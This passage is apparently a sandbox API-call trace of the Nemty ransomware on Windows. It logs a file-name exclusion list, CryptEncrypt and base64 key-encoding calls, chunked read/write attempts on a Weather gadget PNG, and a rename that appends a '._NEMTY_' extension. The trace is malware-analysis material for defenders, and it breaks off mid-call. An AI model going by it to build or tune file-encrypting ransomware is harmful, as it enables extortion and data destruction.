(lpString1="(144DPI)notConnectedStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="RECYCLER") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="bootmgr") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="programdata") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="appdata") returned -1 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0152.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0152.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)notConnectedStateIcon.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 33 [0152.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0152.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0152.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0152.940] Sleep (dwMilliseconds=0x5) [0152.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xece6d30, dwHighDateTime=0x1d561e8)) [0152.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xece6d30, dwHighDateTime=0x1d561e8)) [0152.940] GetLastError () returned 0x5 [0152.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.940] GetLastError () returned 0x5 [0152.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0152.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0152.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0152.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0152.941] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e5dc | out: pszString="vZxAGOLD4A33p6pjw5rZSIhZiPvjuw8Dd/5/gD/2iKCcOlMGBk0LzH7bOue4x88O\r\nHgra7W7o53qWDC9sS+bG5BmmlJZeMgTkwD3ZtunjtKeqAopiOlM5RB31sjJVhpPm\r\nzCPN2jTav7Slli9kNk1Sf2UZ44tU/MRrCgAj1lYgMwV1eC7YtV6OF3yWXizsgEkw\r\nKz9GR6IWhE0dTfdIJ1iIXiA7GXV/wj7PF/6eCRZ6RddGvOfxC3EkLtRNwP6ca/Zx\r\nQ1Ah9HIMnsto4Dxq0WOE58PPzYlMeqQ7ZwTjZePkOEBgenHENdAJFPUH20B7Ht3Q\r\njKC4qychtBleGKh7dN5EDw==\r\n", pcchString=0x653e5dc) returned 1 [0152.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0152.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0152.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.941] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.941] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0152.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.054] CloseHandle (hObject=0xffffffff) returned 0 [0153.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0153.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404c8 [0153.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6343fe8 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)notConnectedStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)notconnectedstateicon.png._nemty_kgobjgd_")) returned 0 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0153.055] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2=".") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="..") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="...") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="windows") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="rsa") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="ntldr") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="IO.SYS") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="boot.ini") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="boot.ini") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="ntuser.dat") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="desktop.ini") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="RECYCLER") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="bootmgr") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="programdata") returned -1 [0153.055] lstrcmpiW (lpString1="(144DPI)redStateIcon.png", lpString2="appdata") returned -1 [0153.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0153.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0153.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0153.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0153.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, 